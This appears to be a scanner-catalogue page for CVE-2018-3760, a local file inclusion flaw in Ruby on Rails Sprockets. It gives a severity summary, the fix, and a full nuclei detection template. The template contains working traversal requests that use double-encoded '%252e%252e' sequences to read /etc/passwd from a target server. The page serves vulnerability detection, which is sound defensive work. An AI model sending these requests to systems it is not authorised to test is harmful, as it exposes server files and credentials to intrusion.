Ruby On Rails - Local File Inclusion

highseverity

7.5CVSS score

26.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.

Impact

This vulnerability can lead to unauthorized access to sensitive files and information stored on the server.

Fix

Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET /assets/file:%2f%2f/etc/passwd
Positive when: contains "is no longer under a load path"
Send: GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-3760 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-3760

info:
  name: Ruby On Rails - Local File Inclusion
  author: 0xrudra,pikpikcu,diedromeo
  severity: high
  description: |
    Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files and information stored on the server.
  remediation: |
    Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
    - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
    - https://seclists.org/oss-sec/2018/q2/210
    - https://xz.aliyun.com/t/2542
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3760
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-3760
    cwe-id: CWE-200,CWE-22
    epss-score: 0.26346
    epss-percentile: 0.98019
    cpe: cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: redhat
    product: cloudforms
  tags: cve2018,cve,rails,lfi,ruby,vulhub,seclists,redhat,vkev,vuln

flow: |
  http("leak") && http("exploit")

http:
  - id: leak
    raw:
      - |
        GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    disable-path-automerge: true

    matchers:
      - type: word
        words:
          - "is no longer under a load path"

    extractors:
      - type: regex
        name: path
        group: 1
        regex:
          - "/etc/passwd is no longer under a load path: (.*?),"
        internal: true
        part: body

  - id: exploit
    raw:
      - |
        GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    disable-path-automerge: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from